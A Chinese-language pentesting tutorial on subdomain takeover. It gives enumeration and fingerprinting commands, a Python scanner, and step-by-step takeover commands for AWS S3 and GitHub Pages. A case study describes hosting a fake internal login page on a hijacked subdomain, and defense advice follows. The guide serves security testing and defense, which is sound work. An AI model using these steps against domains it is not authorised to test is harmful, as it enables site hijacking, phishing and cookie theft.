适合人群:初级至中级渗透测试工程师、SRC漏洞挖掘者、安全运维人员
前置知识:DNS基础、HTTP协议基础、DNS解析流程
一、前置准备
工具安装
# 子域名收集
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/tomnomnom/assetfinder@latest
go install github.com/OWASP/Amass/v3/...@master
# DNS 解析与 CNAME 检查
go install github.com/tomnomnom/httprobe@latest
pip3 install dnsx
# 漏洞验证
pip3 install requests beautifulsoup4
在线平台
| 平台 | 用途 | URL |
|---|---|---|
| SecurityTrails | DNS历史记录 | https://securitytrails.com |
| crt.sh | 证书透明度日志 | https://crt.sh |
| Web Archive | 历史DNS记录 | https://web.archive.org |
| GitHub Search | 搜索配置泄漏 | github.com/search?q=目标域名 |
二、核心原理
什么是子域名接管?
子域名接管(Subdomain Takeover)是指:目标域名的 CNAME/DNS记录指向一个外部服务(如 AWS S3、GitHub Pages、Heroku、CloudFront 等),但该外部资源已被释放或未创建,攻击者可以注册该资源并获得对子域名的控制权。
┌────────────────┐ DNS查询 ┌──────────────────┐
│ 用户浏览器 │ ──────────────────→ │ target.com │
│ │ │ CNAME → │
│ │ │ xxx.cloudfront.net │
└────────────────┘ └────────┬─────────┘
│
▼
┌──────────────────┐
│ CloudFront CDN │
│ ❌ 分发已删除 │
│ 任何人都可注册 │
└──────────────────┘
漏洞成因
| 原因 | 说明 | 案例 |
|---|---|---|
| DNS Zombie | 服务删除了但DNS记录没有清理 | S3 bucket删除、Heroku app下线 |
| 默认域名 | 使用了第三方默认域名未绑定 | xxx.azurewebsites.net |
| 过期服务 | 订阅到期/域名释放但CNAME残留 | GitHub Pages域名解绑 |
| 错误配置 | CNAME指向不存在资源 | CloudFront分配被删 |
影响范围
| 影响 | 严重程度 | 说明 |
|---|---|---|
| 钓鱼攻击 | ⚠️ 高 | 托管恶意登录页面 |
| Cookie窃取 | ⚠️ 高 | 同域名下可窃取 *.target.com 的Cookie |
| 内容投毒 | ⚠️ 中 | 投放恶意脚本/广告 |
| SEO伤害 | ⚠️ 中 | 恶意内容影响主站声誉 |
三、实操步骤
Step 1:子域名收集
# 以 target.com 为例
subfinder -d target.com -o subs.txt
assetfinder --subs-only target.com >> subs.txt
sort -u subs.txt -o subs_unique.txt
Step 2:CNAME 存活检测
# 筛选有 CNAME 记录的子域名
while read sub; do
cname=$(dig +short CNAME "$sub" 2>/dev/null)
if [ -n "$cname" ]; then
echo "$sub → $cname"
fi
done < subs_unique.txt
# 或者使用 dnsx
dnsx -l subs_unique.txt -cname -o dns_cname.txt
Step 3:HTTP 指纹识别
# 探测存活 HTTP 服务
cat dns_cname.txt | awk '{print $1}' | httprobe -c 50 > live_subs.txt
# 指纹识别(寻找 404/NXDOMAIN 等接管特征)
for url in $(cat live_subs.txt); do
status=$(curl -s -o /dev/null -w "%{http_code}" "$url")
body=$(curl -s "$url" | head -200)
echo "=== $url ($status) ==="
echo "$body" | grep -iE "no such bucket|404|does not exist|not found|there is no app"
done
Step 4:接管特征识别表
| 云服务 | 响应特征 | 注册方式 |
|---|---|---|
| AWS S3 | NoSuchBucket / The specified bucket does not exist | AWS Console → 创建同名Bucket |
| AWS CloudFront | ERROR: The request could not be satisfied | CloudFront → 创建同名分配 |
| GitHub Pages | 404: There isn't a GitHub Pages site here | 创建同名repo |
| Heroku | No such app / There is no app configured | heroku create 同名子域名 |
| Azure | 404 Not Found (Site not found) | Azure Portal → Web App同名 |
| Shopify | Sorry, this shop is currently unavailable | Shopify后台添加域名 |
| Cloudflare | Domain does not resolve to this Cloudflare IP | Cloudflare → 添加域名 |
| Feedburner | The feed you requested does not exist | 注册同名Feed |
Step 5:接管验证(以 AWS S3 为例)
# 确认目标 CNAME 指向 S3
dig +short sub.target.com
# → sub.target.com.s3.amazonaws.com
# 验证 Bucket 不存在
aws s3 ls s3://sub.target.com/
# → An error occurred (NoSuchBucket) when calling the ListObjectsV2 operation
# 创建接管
aws s3 mb s3://sub.target.com/
aws s3 website s3://sub.target.com/ --index-document index.html
cat > index.html << 'HTML'
<!DOCTYPE html>
<html>
<head><title>PoC - Subdomain Takeover</title></head>
<body>
<h1>🚩 子域名接管验证 PoC</h1>
<p>目标: sub.target.com</p>
<p>时间: $(date)</p>
</body>
</html>
HTML
aws s3 cp index.html s3://sub.target.com/
Step 6:自动化检测脚本
#!/usr/bin/env python3
"""
Subdomain Takeover Scanner v1.0
Usage: python3 takeover_scanner.py target.com
"""
import sys, json, dns.resolver, requests
VULN_SERVICES = {
"s3.amazonaws.com": "AWS S3 Bucket Takeover",
"cloudfront.net": "AWS CloudFront Takeover",
"github.io": "GitHub Pages Takeover",
"herokuapp.com": "Heroku Takeover",
"azurewebsites.net": "Azure Web App Takeover",
"myshopify.com": "Shopify Takeover",
"trafficmanager.net": "Azure Traffic Manager",
}
def check_takeover(domain):
try:
answers = dns.resolver.resolve(domain, 'CNAME')
for cname in answers:
cname_str = str(cname.target).rstrip('.')
for pattern, service in VULN_SERVICES.items():
if pattern in cname_str:
try:
r = requests.get(f"http://{domain}", timeout=10, headers={"User-Agent": "Mozilla/5.0"})
if r.status_code == 404 or "NoSuchBucket" in r.text or "not found" in r.text.lower():
return {"domain": domain, "cname": cname_str, "service": service, "status": "VULNERABLE"}
except:
return {"domain": domain, "cname": cname_str, "service": service, "status": "POTENTIAL"}
except:
pass
return None
if __name__ == "__main__":
domain = sys.argv[1]
with open("subs.txt") as f:
for sub in f:
sub = sub.strip()
fqdn = f"{sub}.{domain}" if "." not in sub else sub
result = check_takeover(fqdn)
if result:
print(json.dumps(result, indent=2))
四、绕过与对抗技术
4.1 CDN/Cloud WAF 绕过
当目标站点使用了 Cloudflare 等 CDN,CNAME 解析不直接暴露后端:
# 方法1:通过证书透明度日志找真实IP
# 访问 https://crt.sh/?q=%25.target.com&group=none
# 寻找直接指向云服务的CNAME
# 方法2:历史DNS记录
# SecurityTrails → DNS History → 查看历史CNAME变化
4.2 针对 AWS S3 的深度利用
# 利用 S3 Bucket Policy 设置
cat > policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PublicReadGetObject",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::sub.target.com/*"
}
]
}
EOF
aws s3api put-bucket-policy --bucket sub.target.com --policy file://policy.json
# 配置静态网站托管
aws s3 website s3://sub.target.com/ --index-document index.html --error-document error.html
# 验证
curl -sI "http://sub.target.com" | head -5
4.3 GitHub Pages 深度利用
# 创建同名的 GitHub Pages 站点
# 1. GitHub 创建仓库: sub-target-com
# 2. 设置 Pages: gh-pages 分支
# 3. 添加 CNAME 文件
cat > CNAME << 'EOF'
sub.target.com
EOF
git init
git add index.html CNAME
git commit -m "Subdomain takeover PoC"
git remote add origin https://github.com/attacker/sub-target-com.git
git push -u origin main
# 开启 GitHub Pages
# Settings → Pages → Source: Deploy from branch → main → / (root)
# Custom domain: sub.target.com
五、实战案例复盘
案例:某SRC平台子域名接管
场景:某知名互联网公司的一个子域名 devops.target.com 在一天内无法访问,但DNS记录仍指向一个已删除的AWS CloudFront分配。
发现过程:
- 使用
subfinder收集了约5000个子域名 dnsx过滤出含有cloudfront.netCNAME的域名列表- 逐个访问发现
devops.target.com返回 CloudFront 404 错误 - 在 AWS Console 中创建同名 CloudFront 分配
- 指向一个受控的 S3 Bucket,配置自定义域名
利用:
- 部署了一个 HTML 页面,模拟公司内部系统登录页面
- 由于同域名,用户可以正常访问且浏览器不会弹出安全警告
- 提交 SRC 报告,5小时后厂商修复(删除DNS记录)
六、防御建议
| 防御措施 | 优先级 | 实施方法 |
|---|---|---|
| DNS记录审计 | 🔴 高 | 定期扫描所有CNAME记录,清理僵尸记录 |
| 自动化检测 | 🔴 高 | 部署subjack/tko-subs定时扫描 |
| 域名持有 | 🟡 中 | 即使服务不用也保留DNS记录指向内部 |
| 通配符证书 | 🟡 中 | 仅对需要的子域名签发证书,降低影响 |
| 监控告警 | 🟢 低 | 对返回404/NXDOMAIN的子域名自动告警 |
自动化防御脚本
# 使用 subjack 定期扫描
subjack -w all_subs.txt -t 100 -timeout 10 -o takeover_results.txt -ssl
# 输出格式:sub.target.com [Vulnerable] - CNAME: target.cloudfront.net
# 设置 cron 任务
# 0 6 * * 1 /usr/local/bin/subjack -w /opt/subs.txt -t 100 -o /var/log/takeover_$(date +\%Y\%m\%d).txt
七、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | ❌ 误判 | 服务返回自定义404页面 ≠ 可接管,需确认注册界面 |
| 2 | ❌ CDN干扰 | Cloudflare等CDN会隐藏真实CNAME,需查历史DNS |
| 3 | ❌ DNS缓存 | 刚删除的服务CNAME可能还在缓存中,等待TTL过期 |
| 4 | ❌ 权限不足 | AWS S3 Bucket可能已被其他AWS账户注册 |
| 5 | ❌ 法律边界 | 未经授权创建Bucket接管域名可能违法,需白帽授权 |
八、总结(含速查表)
全流程速查
# 一行全流程(5分钟快速扫描)
subfinder -d target.com -silent | assetfinder --subs-only | sort -u | \
dnsx -cname -silent | grep -E "s3|cloudfront|heroku|github|azure" | \
while read line; do
sub=$(echo $line | awk '{print $1}')
cname=$(echo $line | awk '{print $3}')
code=$(curl -s -o /dev/null -w "%{http_code}" "http://$sub" 2>/dev/null)
echo "[$code] $sub → $cname"
done
关键工具速查
| 工具 | 用途 | 安装 |
|---|---|---|
subfinder | 子域名收集 | go install .../subfinder@latest |
assetfinder | 子域名收集(被动) | go install .../assetfinder@latest |
dnsx | DNS查询/验证 | go install .../dnsx@latest |
httprobe | HTTP服务探测 | go install .../httprobe@latest |
subjack | 接管检测 | go install .../subjack@latest |
tko-subs | 接管检测 | go install .../tko-subs@latest |
接管模板(PoC)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PoC - Subdomain Takeover</title>
<style>
body { font-family: monospace; text-align: center; padding: 50px; }
.flag { background: #ff0000; color: white; padding: 20px; display: inline-block; }
</style>
</head>
<body>
<div class="flag">🚩 Subdomain Takeover PoC</div>
<p>Target: [子域名]</p>
<p>Service: [云服务名称]</p>
<p>Detected: $(date)</p>
</body>
</html>